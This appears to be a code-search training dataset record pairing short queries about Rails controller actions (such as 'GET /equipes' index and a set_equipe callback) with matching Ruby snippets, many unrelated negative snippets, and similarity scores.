temp[0]).pluck(:advisor)\n temp3=User.where(:uin => temp2[0]).pluck(:first_name)\n temp4=User.where(:uin => temp2[0]).pluck(:last_name)\n if temp3!=[] and temp4!=[]\n temp5=temp3[0]+' '+temp4[0]\n @tempad=temp5\n else \n @tempad=\"\"\n end\n session[:pdf_user]= params[:uin]\n end", "def show\n authorize_action_for(@revise)\n end", "def index\n # PUNDIT_REVIEW_AUTHORIZE\n # PUNDIT_CHECK_AUTHORIZE\n # authorize Portal::Grade\n # PUNDIT_REVIEW_SCOPE\n # PUNDIT_CHECK_SCOPE (did not find instance)\n # @grades = policy_scope(Portal::Grade)\n @portal_grades = Portal::Grade.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @portal_grades }\n end\n end", "def index\n @blade_reviews = current_user.blade_reviews.order(date: :desc)\n end", "def show\n @user = @profile.user.id \n @reviews = Review.where(:profile_id => @profile.id).order(\"created_at DESC\")\n @average_rating = @reviews.average(:rating)\n end", "def show\n @recruit = @company.recruit\n @compensation = @company.compensation\n @reviews = @company.reviews\n\n if user_signed_in?\n @cur_review = Review.find_by user_id:current_user.id, company_id:@company.id\n end\n end", "def index\n\t\t\t\t# @reviews = Driver.find_by!(id: params[:driver_id]).driver_reviews#.order('created_at DESC').to_a\n\t\t\t\t@reviews = DriverReview.where(driver_id: params[:driver_id])\n\t\t\tend", "def index\n @videos = policy_scope(Video)\n @video = Video.new\n # @assignee = Assignee.find(params[:approver_id] || params[:guardian_id] || params[:recipient_id]) if params[:approver_id] || params[:guardian_id] || params[:recipient_id]\n end", "def show\n @explore_ratings = @explore.profile.explore_ratings\n @guide_ratings = @explore.profile.guide_ratings\n @projects = @explore.profile.projects\n\n end", "def index\n @priv_policies = PrivPolicy.all\n end", "def show\n @competences = Competence.all - @demand.competences\n @criterions = Criterion.all - @demand.criterions\n @explanations_props = { explanations: Explanation.to_react(@demand),\n demand: @demand.as_json(only: [ :id,\n :description,\n :name,\n :organization_profile_id ]),\n current_user: current_user.as_json(only: [ :id,\n :active_profile_id,\n :organization_account_id ]).merge({\"supplier\" => current_user.supplier?,\"customer\" => current_user.customer?}),\n # createExplanationPath: demand_explanations_path(@demand)\n }\n authorize @demand\n end", "def show\n\n @all_annotation_string = ''\n Annotation.where(passage_id: @passage.id).each do |annot|\n @all_annotation_string = @all_annotation_string + \"#{annot.element}@-@#{annot.original_spanish}@-@#{annot.annotation_content}$-$\"\n end\n @all_annotation_string = @all_annotation_string.gsub(/\\R+/, ' ')\n\n\n #==================================================================\n #DO NOT ALLOW TO READ IF NOT GRANTED PRIVILEGE\n #DO NOT LINK TO EDIT IF NOT GRANTED PRIVILEGE\n privilege = PassageShare.find_by(recieving_user_id: @current_user.id, passage_id: @passage.id)\n\n\n if (@passage.user_id == @current_user.id)\n author = true\n else\n author = false\n end\n\n if author || privilege\n else \n redirect_back fallback_location: '/'\n end\n\n if author || privilege.edit_privilege\n @has_editing_privilege = true\n else \n @has_editing_privilege = false\n end\n #==================================================================\n\n #==================================================================\n #RETRIEVE AUTHOR OF CURRENT PASSAGE\n if author\n @author = @current_user\n else\n @author = User.find(@passage.user_id)\n end\n #==================================================================\n\n #==================================================================\n #RETRIEVE HISTORY OF UPDATES FOR CURRENT PASSAGE AND USERS THAT MADE THEM\n @update_history = UpdateTrack.where(passage_id: @passage.id).order(\"created_at DESC\")\n @participating_users = {}\n @time_since = {}\n @update_history.each do |update|\n @time_since[update.id] = update_elapse_count(update[:created_at])\n @participating_users[update.id] = User.find(update.last_user_id)\n end \n #==================================================================\n end", "def index\n# @castles = Castle.where(approved: '1').order(\"castle_name_en ASC\")\n @castles = policy_scope(Castle)\n end", "def index\n @reviews = current_user.reviews\n end", "def show\n @org = Org.find(params[:id])\n @current_person = current_user\n @org_opps = @org.opps\n \n end", "def show\n\t\tauthorize! :show, HistorialEstadoPresupuesto\n end", "def submission_decision_author(submission)\n @submission = submission\n\n @authors_text = @submission.get_authors_submitted.map{ |a| a.full_name }.join(', ')\n @title_text = @submission.get_text_submitted.title rescue ''\n\n @journal = @submission.journal\n @user = @submission.user\n @submission_url = submission_url(submission)\n @submission_editor_url = e_submission_url(submission)\n @submission_reviewer_url = r_submission_url(submission)\n\n @decision = @submission.lsr.decision_2 || @submission.lsr.decision_1_cold || @submission.lsr.decision_1\n\n if @decision\n case @decision.decision\n when 'take_for_consideration'\n# subject = \"#{@journal.slug}##{submission.id} The paper was taken for consideration | Статья принята к рассмотрению\"\n subject = \"##{@submission.id} Taken for consideration. Journal Gyroscopy and Navigation | Принято к рассмотрению. Журнал \\\"Гироскопия и навигация\\\"\"\n \t\tmail(to: @user.email, subject: subject) do |format|\n format.text { render 'submission_decision_author_take_for_consideration' }\n\t\t end\n when 'reject_without_consideration'\n# subject = \"#{@journal.slug}##{submission.id} The paper was rejected without consideration | Статья отклонена без рассмотрения\"\n subject = \"##{@submission.id} Rejected without consideration. Journal Gyroscopy and Navigation | Отклонено без рассмотрения. Журнал \\\"Гироскопия и навигация\\\"\"\n \t\tmail(to: @user.email, subject: subject) do |format|\n format.text { render 'submission_decision_author_reject_without_consideration' }\n\t\t end\n when 'reject'\n# subject = \"#{@journal.slug}##{submission.id} The paper was rejected | Статья отклонена\"\n subject = \"##{@submission.id} Paper rejected. Journal Gyroscopy and Navigation | Статья отклонена. Журнал \\\"Гироскопия и навигация\\\"\"\n \t\tmail(to: @user.email, subject: subject) do |format|\n format.text { render 'submission_decision_author_reject' }\n\t\t end\n when 'revise'\n# subject = \"#{@journal.slug}##{submission.id} The paper must be revised | Статью надо доработать\"\n subject = \"##{@submission.id} Paper must be revised. Journal Gyroscopy and Navigation | Статью надо доработать. Журнал \\\"Гироскопия и навигация\\\"\"\n \t\tmail(to: @user.email, subject: subject) do |format|\n format.text { render 'submission_decision_author_revise' }\n\t\t end\n when 'accept'\n# subject = \"#{@journal.slug}##{submission.id} The paper was accepted | Статья принята\"\n subject = \"##{@submission.id} Paper accepted. Journal Gyroscopy and Navigation | Статья принята. Журнал \\\"Гироскопия и навигация\\\"\"\n \t\tmail(to: @user.email, subject: subject) do |format|\n format.text { render 'submission_decision_author_accept' }\n\t\t end\n when 'wait_decision'\n # Add email for transition to this this state???\n nil\n end\n end\n end", "def show_qualified\n pp ordered_by_qualifications\nend", "def show\n @rewards = @product.rewards\n @patron = current_user.patrons.find_by(product: @product)\n @patrons = @product.patrons.all\n @current_donation = @product.counts_donation\n @percent = @product.percent_of_donation\n end", "def title\n if review?\n confidential? ? \"#{name} (Private Review)\" : \"#{name} (Shared Review)\"\n elsif verification?\n \"#{name} (Verification)\"\n elsif groups?\n \"#{name} (Group)\"\n elsif private_type?\n \"#{name} (Private)\"\n elsif government?\n \"#{name} (Government)\"\n else\n \"#{name} (Administrator)\"\n end\n end", "def reviewers\n \"Here's the current list of JOSS reviewers: https://github.com/openjournals/joss/blob/master/docs/reviewers.csv\"\nend", "def show\n if current_user.is_Ideator || current_user.is_Idea_Consultant || current_user.admin\n @pitch = Pitch.find(params[:id])\n @consultancies = @pitch.consultancies\n else\n redirect_to :back\n end\n end", "def user_name\n reviewee.name\n end", "def formatAPA\n (prettyOutput(@authors.map { |x| x.to_s }) + \"(\" + @datee.year.to_s + \") \" + @title +\n \"\\n\\t(\" + @edition.to_s + \") \" +\n \"(\" + @editionnumber.to_s + \") \" +\n @url)\n end", "def show\n @reviews = Review.where(site_id: @site.id).order(\"created_at DESC\")\n end", "def index\n @raids = policy_scope(Raid).order(tier: :desc)\n\n authorize @raids\n end", "def hardCodedPolicies()\n\n return [\"Ice time rates are subject to change.\",\n \"Booking total is subject to change depending on activity at the discretion of the \" + long_name + \".\",\n \"Ice schedules are subject to change and Playogo does not guarantee that the timeslot is available until it is confirmed by the \" + long_name + \".\",\n \"Once your booking request has been confirmed by the \" + long_name + \", the price of the booking will be charged to your credit card.\",\n \"Your ice contract will be with the \" + long_name + \".\",\n \"Refer to all terms and conditions of your contract with the \" + long_name + \".\",\n \"Playogo is a non-affiliated third party, who simply makes it easier to find available ice time across a number of markets.\",\n \"There are no additional fees to book ice time through Playogo.\"\n ]\n end", "def show\n impressionist(@profile)\n @profile = Profile.friendly.find(params[:id])\n\n @profile_urbanterms = @profile.urbanterms.order(\"created_at DESC\") #important! to enable profiles urbanterms on profile\n \n\n end", "def show\n @available_improvements = params[:available_improvements]\n end", "def review\n\t@applicants = Applicant.all\n\t\n\trespond_to do |format|\n\tformat.html # review.html.erb\n\tformat.json { render json: @applicants }\n\tend\n\tend", "def show\n @comments = Comment.where(challenge_id: @challenge).order(\"created_at\")\n @owner = User.where(id: @challenge.owner_id).first # find the owner of the challenge\n end", "def show\n @reviews = Review.select { |review| review.item_id == @item.id }\n @review = Review.new(item_id: @item.id)\n @ratingSum = 0.0\n @reviews.each do |review|\n @ratingSum = @ratingSum + review.rating\n end\n @avgRating = (@ratingSum/@reviews.count).round(1)\n if logged_in?\n @isPrevRented = Rental.find_by(user_id: current_user.id, history: true, item_id: params[:id])\n @isPrevReviewed = Review.find_by(user_id: current_user, item_id: params[:id])\n end\n @rentals = Rental.where(item_id: params[:id], history: true)\n end", "def show\n @resource = Resource.find(params[:id])\n @reviews = Review.where(:resource_id => @resource.id).order('created_at DESC').all\n @new_review = Review.new(:resource_id => @resource.id) unless !user_signed_in? or Review.exists?(:resource_id => @resource.id, :reviewer_id => current_user.id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @resource }\n end\n end", "def review\n expose Challenge.review(@oauth_token,\n params[:technology] ||= nil, \n params[:platform] ||= nil, \n params[:category] ||= nil,\n params[:limit] ||= 25, \n params[:offset] ||= 0)\n end", "def show\n authorize @bug\n end", "def show\n authorize Title\n end", "def user_reviews\n list_of_reviews = self.reviews\n list_of_reviews.map{|review| \"User: #{review.user.name}, Rating: #{review.rating}, Review: #{review.description}\"}\n end", "def index\n @photos = policy_scope(Photo)\n @photo = Photo.new\n @assignee = Assignee.find(params[:approver_id] || params[:guardian_id] || params[:recipient_id] || params[:assignee_id]) if params[:approver_id] || params[:guardian_id] || params[:recipient_id] || params[:assignee_id]\n end", "def index\n @correction_reviews =\n CorrectionReview\n .joins(assignment_schedule: :assignment)\n .where(\"assignments.number = ?\", params[:assignment_number])\n .order(\"reviewer_id ASC, stage ASC\")\n end", "def show\n authorize! :read, @catalogs_headquarter\n end", "def under_review_status\n 'Under Review'\n end", "def show\n\t\t@policy = Policy.find(params[:id])\n\t\trespond_to do |format|\n\t\t\tformat.pdf do\n \t\t@pdf = (render_to_string pdf: \"PDF\", template: \"policies/show.pdf.erb\", layout: 'layouts/pdf.html.erb', encoding: \"UTF-8\")\n \t\tsend_data(@pdf, type: \"application/pdf\", filename: @policy.policy_unique_id, disposition: \"inline\")\n \t\tend\n\t\tend\n\tend", "def show\n @review = find_review\n end", "def show\n #renders views/donors/show.html.erb automatically\n @charityReps = CharityRep.all\n @donor = current_user\n @displaydonations = Donor.find(current_user.id).donations\n end", "def reviewed_by=(value)\n @reviewed_by = value\n end", "def show\n @assessor = Assessor.find(params[:id])\n end", "def claim_title(claim)\n claim.title.html_safe + link_to(ts(\" (Details)\"), collection_prompt_path(claim.collection, claim.request_prompt), :target => \"_blank\", :class => \"toggle\")\n end", "def show\n authorize! :show, @gf_travel_request\n if hf_transition_to_in_review?(@gf_travel_request, @user) # defined in StateEvents\n @gf_travel_request.approval_state.review!\n end\n end", "def policy_params\n params.permit(:user_id, :agent_id, :insurance_category_id, :policy_id, :premium, :insurance_due_date, :policy, :register_date, :premium_date, :guarantee_number)\n end", "def show\n authorize @primer\n end", "def show\n begin\n @proposal = Proposal.approved.published.find(params[:id])\n rescue ActiveRecord::RecordNotFound\n @proposal = Proposal.find_by_id(params[:id].to_i)\n if @proposal.present? && !(logged_in? && (is_admin? || @proposal.user_id == current_user.id))\n raise ActiveRecord::RecordNotFound and return\n elsif @proposal.nil?\n @debate = Debate.published.find(params[:id])\n redirect_to debate_path(@debate) and return\n end\n end\n\n @parent = @proposal\n\n @comments = @proposal.comments.approved.paginate :page => params[:page], :per_page => 25\n @arguments = @proposal.arguments.published.paginate :page => params[:page], :per_page => 50\n\n if logged_in? && params[:n_id].present?\n notification = current_user.notifications.find(params[:n_id])\n notification.read_at = Time.zone.now if notification.read_at.nil?\n notification.save\n end\n\n respond_to do |format|\n format.html { render }\n format.floki { render }\n end\n end", "def agreement_report\n\t\treport = ActiveReporting::Report.new( { :title => \"Review Stage Agreement\", :description => \"Comparison of document dispositions across reviewers\" } )\n\t\tfor sr in self.stage_reviewers do\n\t\t\treport.columns << ActiveReporting::Report::Column.new( :title => \"Reviewer #{sr.user.nickname}\", :formatter => Proc.new { |v| DocumentReview.action_verb(v) } )\n\t\tend\n\t\treport.columns << ActiveReporting::Report::Column.new( :title => \"Count\" )\n\t\tsql_select1 = self.stage_reviewers.collect{ |sr| \"dr#{sr.id}.disposition disposition#{sr.id}\" }.join(\", \")\n\t\tsql_join1 = self.stage_reviewers.collect{ |sr| \"LEFT JOIN stage_reviewers sr#{sr.id} ON sr#{sr.id}.review_stage_id = rs.id AND sr#{sr.id}.id = #{sr.id}\" }.join(\"\\n\")\n\t\tsql_join2 = self.stage_reviewers.collect{ |sr| \"LEFT JOIN document_reviews dr#{sr.id} ON dr#{sr.id}.stage_reviewer_id = sr#{sr.id}.id AND dr#{sr.id}.document_id = d.id\" }.join(\"\\n\")\n\t\tsql_where1 = self.stage_reviewers.collect{ |sr| \"dr#{sr.id}.id IS NOT NULL\" }.join(\" OR \")\n\t\tsql_group1 = self.stage_reviewers.collect{ |sr| \"dr#{sr.id}.disposition\" }.join(\", \")\n\t\t# SELECT dr101.disposition disp202, dr202.disposition disp202, count(d.id)\n\t\t# FROM review_stages rs, documents d\n\t\t# LEFT JOIN stage_reviewers sr101 ON sr101.review_stage_id = rs.id AND sr101.id = 101\n\t\t# LEFT JOIN stage_reviewers sr202 ON sr202.review_stage_id = rs.id AND sr202.id = 202\n\t\t# LEFT JOIN document_reviews dr101 ON dr101.stage_reviewer_id = sr101.id AND dr101.document_id = d.id\n\t\t# LEFT JOIN document_reviews dr202 ON dr202.stage_reviewer_id = sr202.id AND dr202.document_id = d.id\n\t\t# GROUP BY dr101.disposition, dr202.disposition\n\t\t# WHERE rs.id = #{self.id} AND (dr101.id NOT NULL OR dr202.id NOT NULL)\n\t\tsql = <<-EOT\n\t\t\tSELECT\n\t\t\t\t#{sql_select1},\n\t\t\t\tCOUNT(d.id) document_count\n\t\t\t\tFROM review_stages rs JOIN documents d\n\t\t\t\tLEFT JOIN document_sources ds ON d.document_source_id = ds.id\n\t\t\t\t#{sql_join1}\n\t\t\t\t#{sql_join2}\n\t\t\t\tWHERE rs.id = #{self.id} AND ds.project_id = rs.project_id AND (#{sql_where1})\n\t\t\t\tGROUP BY\n\t\t\t\t\t#{sql_group1}\n\t\t\t\t;\n\t\tEOT\n\t\trows = self.connection.select_rows( sql )\n\t\tfor row in self.connection.select_rows( sql )\n\t\t\tvalues = {}\n\t\t\treport.columns.each_index do |i|\n\t\t\t\tcol = report.columns[i]\n\t\t\t\tvalue = col.format(row[i])\n\t\t\t\tvalues[col] = value\n\t\t\tend\n\t\t\trow = ActiveReporting::Report::Row.new( values )\n\t\t\treport.rows << row\n\t\tend\n\t\treport\n\tend", "def reviewer_details_popup\n @userid = Participant.find(params[:id]).user_id\n @user = User.find(@userid)\n @id = params[:assignment_id]\n end", "def show\n @course_professor = CourseProfessor.find(params[:id])\n\n @reviews_temp = @course_professor.reviews.sort_by{|r| - r.created_at.to_i}\n @reviews = @reviews_temp.paginate(:page => params[:page], :per_page=> 2)\n\n @grades = @course_professor.grades\n @course = Course.where(:id => @course_professor.course_id).first()\n @subdepartment = Subdepartment.where(:id => @course.subdepartment_id).first()\n @professor = Professor.where(:id => @course_professor.professor_id).first()\n @paginate = @course_professor.reviews.paginate(page: 1, per_page: 2)\n @professors = CourseProfessor.where(\"course_id = ?\", @course[:id])\n .joins(:professor)\n\n #used to pass grades to the donut chart\n gon.grades = @grades\n\n if @reviews.length > 0\n @rev_ratings = get_review_ratings\n @rev_emphasizes = get_review_emphasizes\n end\n\n respond_to do |format|\n format.html # show.html.haml\n format.json { render json: @course_professor }\n end\n end" ]
[ "0.6199804", "0.6181252", "0.60196257", "0.5981883", "0.57254666", "0.5705658", "0.5682662", "0.56805104", "0.56760716", "0.56722987", "0.5662241", "0.56539416", "0.5643725", "0.5642592", "0.56399417", "0.563479", "0.56250286", "0.5620185", "0.5601667", "0.559414", "0.55918515", "0.5589396", "0.55849403", "0.55793583", "0.5570858", "0.5562801", "0.5554734", "0.5540409", "0.55339533", "0.552125", "0.55123913", "0.55090004", "0.55063367", "0.5487433", "0.5481617", "0.54595304", "0.545823", "0.5448914", "0.5445728", "0.5437368", "0.5434397", "0.54261535", "0.54147863", "0.5411882", "0.54115003", "0.54101765", "0.5407286", "0.5404535", "0.54040724", "0.53957206", "0.5394896", "0.5392883", "0.5390321", "0.53832483", "0.53727853", "0.5366033", "0.53606486", "0.5354406", "0.53338224", "0.53286415", "0.5328367", "0.5327843", "0.53274876", "0.5320724", "0.53204614", "0.53125733", "0.5312087", "0.53110284", "0.5308438", "0.53055", "0.5300564", "0.5287939", "0.52833486", "0.52825683", "0.52782905", "0.5276848", "0.5274632", "0.5268735", "0.5260182", "0.52536404", "0.5246545", "0.5246202", "0.52441883", "0.5243562", "0.5243545", "0.52431095", "0.52400607", "0.5238766", "0.5236533", "0.52363175", "0.52351815", "0.52308327", "0.5228864", "0.52259165", "0.5220665", "0.52192795", "0.5211362", "0.5208043", "0.52058816", "0.5201737" ]
0.54392415
39
GET /equipes def index
def new @equipe = Equipe.new end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @equipes = Equipe.all\n end", "def index\n @equities = Equity.all\n end", "def index\n @equities = Equity.all\n end", "def index\n @equipamentos = Equipamento.all\n end", "def index\r\n # @equipamentos = Equipamento.all\r\n @equipamentos = @laboratorio.equipamentos\r\n end", "def index\n @equipos = Equipo.all\n render json: @equipos, status: :ok\n end", "def index\n # @equipamentos = Equipamento.all\n # @equipamentos = Equipamento.search(params[:search]).page(params[:page]).per(2)\n @equipamentos = Equipamento.search(params[:search]).order(:patrimonio).page(params[:page]).per(10)\n end", "def index\n @soirees = Soiree.all\n end", "def index\n @search_query = params[:q]\n\n @equipamentos = usuario_corrente.equipamentos.search(@search_query)\n end", "def index\n @eleitores = Eleitore.all\n end", "def index\n @eita = Eitum.all\n end", "def index\n @industrias = Industria.all\n end", "def index\n\t\t# Mapeando Departamentos e Seções ativas\n\t\t@secoes = Section.where(\"ativo = 't'\")\n\t\t@departamentos = Departamento.where(\"ativo = 't'\")\n\n\t\t@pedidos = Venda.where(\"cliente = ?\",session[:logcli]).all\t\t# Aqui é a apresentação de todos os Registros dlo cliente logado...\n\n\t\t@totpedidos = @pedidos.size\n\t\t\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.xml {render :xml => @pedidos}\n\t\tend\n\tend", "def index\n @inventarios = Inventario.all\n end", "def index\n @efectivos = Efectivo.all\n end", "def index\n @solucaos = Solucao.all\n end", "def index\n @veiculos = Veiculo.all\n end", "def index\n @expedientes = Expediente.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @expedientes }\n end\n end", "def index\n @q = Equipamento.all.ransack(params[:q])\n @equipamentos = @q.result.page params[:page]\n respond_to do |format|\n format.html\n end\n end", "def index\n @title = \"L'équipe\"\n @equip_people = EquipPerson.all\n end", "def index\n @estadia = Estadium.all\n end", "def index\n @industria = Industrium.all\n end", "def index\n @ejemplos = Ejemplo.all\n end", "def index\n @search = Escala.search(params[:q])\n if current_profissional.orgao.nil?\n @escalas = []\n else\n @escalas = @search\n .result\n .where(\"orgao_id = ?\", current_profissional.orgao.id)\n .order(\"data_execucao ASC\")\n .paginate(:page => params[:page], :per_page => 25)\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.js # index.js.erb\n format.json { render json: @escalas }\n end\n end", "def index\n @pecas = Peca.find :all, :order => :produto_id\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @pecas }\n end\n end", "def index\n @equipcats = Equipcat.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @equipcats }\n end\n end", "def index\n @pesos = Peso.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @pesos }\n end\n end", "def index\n @epicrises = Epicrisis.all\n @epicrises = @epicrises.page(params[:page])\n end", "def index\n @establecimientos = Establecimiento.all\n end", "def index\n @etapas = Etapa.all\n end", "def index\n @employeurs = Employeur.all\n end", "def index\n @ordem_servicos = OrdemServico.all\n end", "def index\n @ordem_servicos = OrdemServico.all\n end", "def index\n @ejercicios = Ejercicio.all \n end", "def index\n @escorts = Escort.all\n end", "def index\n @cliente= Cliente.find(params[:cliente_id])\n @equipos = @cliente.equipos\n end", "def index\n @os_entregavels = OsEntregavel.all\n\n end", "def index\n @evas = Eva.all\n end", "def index\n @equipment = Equipment.all\n end", "def index\n @espetaculos = Espetaculo.all\n end", "def index\n @estruturas = Estrutura.all\n end", "def index\n get\n end", "def index\r\n @sivic_escolaridades = SivicEscolaridade.paginate(:page => params[:page], :per_page => 10)\r\n end", "def index\n @energies = Energy.all\n end", "def index\n get_compras\n end", "def index\n @ores = Ore.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ores }\n end\n end", "def index\n\t\tif current_admin.full_access? || current_admin.partial_access?\n\t\t\t@equipaments = Equipament.all\n\t\telse\n\t\t\tredirect_to \"/404.html\"# configurar pagina 403\n\t\tend\n\tend", "def index\n @servicos = Servico.all\n end", "def index\n get('')\n end", "def index\n @representante_empresas = RepresentanteEmpresa.all\n end", "def index\n @quimicos_serigrafia_productos = QuimicosSerigrafiaProducto.all\n end", "def index\n @empleados = Empleado.search(params[:search], params[:page])\n end", "def index\n @equipament_types = EquipamentType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @equipament_types }\n end\n end", "def index\n @etatcivils = Etatcivil.all\n end", "def index\n @estadopros = Estadopro.all\n end", "def index\n @ejes = Eje.all\n end", "def index\n @e_commerces = ECommerce.all\n end", "def index\n @equipments = Equipment.paginate(:page => params[:page])\n end", "def index\n\t\t@pesq = params[:pesq]\t# Aqui recebemos o parametro via URL\n\t\n\t\tif @pesq == nil or @pesq.strip == \"\"\n\t\t\t@departamentos = Departamento.all\t\t# Aqui sao apresentados todos os registros\n\t\telse\n\t\t\t# filtragem por nome\n\t\t\t@pesq = @pesq.strip\n\t\t\t@departamentos = Departamento.where(\"nome LIKE ?\",'%'+@pesq+'%') # evitando sql injection\n\t\tend\n\n\t\t@totCli = @departamentos.size\t\t# Aqui temos o total de departamentos...\t\t\n\t\tpaginacao()\t# Funcao de paginacao\n\t\t\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.xml {render :xml => @departamentos}\n\t\tend\n\tend", "def index\n\t\n\t\t# Mapeando Departamentos e Seções ativas\n\t\t@secoes = Section.where(\"ativo = 't'\")\n\t\t@departamentos = Departamento.where(\"ativo = 't'\")\n\n\t\t# Aqui criamos o Carrinho de Compras se ele não existir...\n\t\tif !defined?($CarrinhoCompras)\n\t\t\t$CarrinhoCompras = Array.new()\n\t\tend\n\t\tif !defined?($CarrinhoComprasQuant)\n\t\t\t$CarrinhoComprasQuant = Array.new()\n\t\tend\t\n\t\t\n\t\t@totReg = $CarrinhoCompras.size\n\t\t\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.xml {render :xml => @CarrinhoCompras}\n\t\tend\n\tend", "def index\n respond_with Celeb.all\n end", "def index\n @vuelos = Vuelo.all\n end", "def index\n @receipes = Receipe.all\n end", "def index\n @centricsteels = Centricsteel.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @centricsteels }\n end\n end", "def index\n\t\t@pesq = params[:pesq]\t# Aqui recebemos o parametro via URL\n\t\n\t\tif @pesq == nil or @pesq.strip == \"\"\n\t\t\t@produts = Produt.all \t# Aqui sao apresentados todos os registros\n\t\telse\n\t\t\t# filtragem por nome\n\t\t\t@pesq = @pesq.strip\n\t\t\t@produts = Produt.where(\"nome LIKE ? or codigo = ?\",'%'+@pesq+'%',@pesq) # evitando sql injection\n\t\tend\n\n\t\t@totCli = @produts.size\t\t# Aqui temos o total de registros\n\t\tpaginacao()\t# Funcao de paginacao\n\t\t\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.xml {render :xml => @produts}\n\t\tend\n\tend", "def index\n @escalas = Escala.all\n end", "def index\n @esses = Esse.all\n end", "def index\n @quants = Quant.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @quants }\n end\n end", "def index\n @enterprise_sectors = EnterpriseSector.all\n end", "def index\n @especies_regiones = EspecieRegion.all\n end", "def index\n get_proveedores\n end", "def index\n @equipe_persos = EquipePerso.all\n @joueurs = Joueur.all\n end", "def index\n @curriculum_vitaes = findable_curriculum_vitaes.all\n respond_to do |format|\n format.html {}\n format.json { render json: @curriculum_vitaes }\n end\n end", "def index\n @especialidades = Especialidade.all\n end", "def index\n @vehiculos = Vehiculo.all\n end", "def index\n @vechicles = Vechicle.all\n end", "def index\n @empregos = Emprego.all\n end", "def index\n @pesos = Peso.all\n end", "def index\n @empresa = Empresa.find(1)\n @comidas = Comida.all\n end", "def index\n @vrsta_inventaras = VrstaInventara.all\n end", "def index\n @exteriors = Exterior.all\n end", "def index\n @viviendastipostramites = Viviendastipostramite.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @viviendastipostramites }\n end\n end", "def index\n @servico_items = ServicoItem.all\n end", "def index\n @enquetes = Enquete.all\n end", "def index\n @enquetes = Enquete.all\n end", "def index\n @departamentos = Departamento.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @departamentos }\n end\n end", "def index\n # @ideias = Ideia.all\n @ideias = Ideia.where(:status => '3')\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @ideias }\n end\n end", "def index\n @estado_productos = EstadoProducto.all\n end", "def index\n @estadios = Estadio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @estadios }\n end\n end", "def index\n @interessados = Interessado.all\n @interessados = Interessado.paginate(:page => params[:page], :per_page => 20)\n end", "def index\n @reservas = Reserva.all\n end", "def index\n @reservas = Reserva.all\n end", "def index\n @peticion_servicio_tis = Peticion::ServicioTi.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @peticion_servicio_tis }\n end\n end", "def index\n @exemplaresprodutos = Exemplaresproduto.all\n end", "def index\n @inventories = Inventory.all\n end", "def index\n @asiento_de_servicios = AsientoDeServicio.all\n end", "def index\n @enemigos = Enemigo.all\n end", "def index\n @estacionamientos = Estacionamiento.all\n end", "def index\n @extrainfos = Extrainfo.all\n end", "def index\n @especie = Especie.find(params[:especie_id])\n @especie_imagens = EspecieImagem.find(@especie.especie_imagens)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @especie_imagens }\n end\n end", "def index\n @eicons = Eicon.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @eicons }\n end\n end" ]
[ "0.8578233", "0.7888159", "0.7888159", "0.76703185", "0.7377632", "0.7351626", "0.7231717", "0.7173024", "0.71285295", "0.7087004", "0.70676094", "0.70458007", "0.7038506", "0.70334077", "0.7024051", "0.7009689", "0.7005986", "0.6978737", "0.69531596", "0.69450504", "0.69409406", "0.69314027", "0.6922188", "0.6918841", "0.69079405", "0.6885602", "0.6883294", "0.6882201", "0.6864954", "0.68586665", "0.6855527", "0.68521905", "0.68521905", "0.6848571", "0.68413043", "0.68375015", "0.68217814", "0.6819793", "0.681357", "0.68051463", "0.6792724", "0.67883456", "0.6782338", "0.67785215", "0.6773916", "0.6773845", "0.67566407", "0.67552215", "0.67535955", "0.6748394", "0.6746566", "0.6741433", "0.67407084", "0.6735957", "0.6735255", "0.6735136", "0.6734131", "0.6725668", "0.67230475", "0.6721535", "0.6713879", "0.67016697", "0.67011863", "0.6698527", "0.6691543", "0.6689806", "0.66885936", "0.66880286", "0.6685601", "0.668535", "0.66847926", "0.66828686", "0.668223", "0.6682118", "0.66738635", "0.66715837", "0.6671029", "0.6670351", "0.6669034", "0.6662103", "0.66617423", "0.6658816", "0.6654775", "0.66528744", "0.66528744", "0.66518235", "0.664823", "0.6642306", "0.66422516", "0.66408986", "0.6640427", "0.6640427", "0.6630114", "0.6629568", "0.66279167", "0.66236866", "0.66219616", "0.66207427", "0.66205406", "0.661627", "0.66114485" ]
0.0
-1
Use callbacks to share common setup or constraints between actions.
def set_equipe @equipe = Equipe.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
